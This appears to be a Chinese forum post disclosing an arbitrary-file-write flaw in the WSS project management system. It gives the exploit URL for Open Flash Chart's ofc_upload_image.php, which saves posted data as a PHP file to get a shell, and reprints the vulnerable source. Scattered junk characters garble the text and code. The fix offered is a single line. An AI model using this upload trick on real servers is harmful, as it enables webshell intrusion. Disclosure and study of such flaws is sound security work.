WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
8 Z: P6 n, ^) a  a% F& l+ G
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
9 T1 ]- x5 |1 F+ o2 a
Post任意数据
& [* e0 D* j1 ^  ?- p: H8 c2 [保存位置http://localhost/chart/tmp-upload-images/hfy.php
+ A) `9 T4 k7 X; q( i# V

! R0 t% h2 h3 \最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

. Y* q) C: P3 ]8 [% S) z<?php

//
// In Open Flash Chart -> save_image debug mode, you
" }2 g) T  V; k2 d// will see the 'echo' text in a new window.
//
3 K  P8 y1 S7 o5 b) d" |( c) A% }
5 g/ u# V1 d; z$ U& ?+ u/*

print_r( $_GET );
* W. d* N# L  c8 S% \% e- B0 ^- H$ gprint_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
, h; _8 ]7 l. R/ b6 J
3 w. E; E& h! y6 Wif (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 V, O: U, R) G- ]  E% U! W
// full path to the saved image including filename //
+ G- p; X; {5 ?, y3 s) s- e* n$destination = $default_path . basename( $_GET[ 'name' ] );
1 A! ]7 O: @6 A& C
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
) }( E1 B" ]5 k, e* @" x' a
/ P! O! [: F" H& K7 d5 a! o* ?9 G//
// POST data is usually string data, but we are passing a RAW .png
. K6 J5 [0 g/ a- |* Z! r// so PHP is a bit confused and $_POST is empty. But it has saved
% k' P8 d( L  v) Q( y// the raw bits into $HTTP_RAW_POST_DATA
9 N8 l! N' i- ?" Z7 \, s8 J//

2 o7 W& |" z. [" c1 C1 {$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
0 N) |4 V7 B  D- t$ s: x7 d# Q
. t$ n) l1 \2 A' Y6 {( A- \- N//
7 Y1 d- p7 M" F0 N- d& }// LOOK:
/ D  q# W0 W/ I# P8 L//
$ N: h4 Q9 N- h: Jexit();
6 T7 f' S0 j& f( A+ M, J//
// PHP5:
//

; G* Y* W; v: `  P! D( j" n
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
% K5 z$ u# l) |+ r
  W% ?8 U2 h8 m, Z& i' I; k// full path to the saved image including filename //
& E2 C% s  J% F1 h$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
8 S$ l: }8 v4 D$ Q
// move the image into the specified directory //
  K5 x" X; D! ~8 Q6 z  Wif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
4 `- O2 b; @" U/ o. K    echo "FILE UPLOAD FAILED";
/ N/ F3 X2 |; }0 U& o}


0 g- V2 E( A2 B* V: Q4 z' r2 P  P?>

5 o7 a% y( L5 J. D2 v0 P0 M

1 K8 ?8 a; y; D1 m9 d$ ?
5 S" B  P  J9 j

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
3 x8 C7 p, t# }. u6 d& ?% e
' F( G8 ]0 N( e+ U3 K$ z- }

, L* v) W( J$ V7 u; e( n! V- H
5 [: |) E) E# R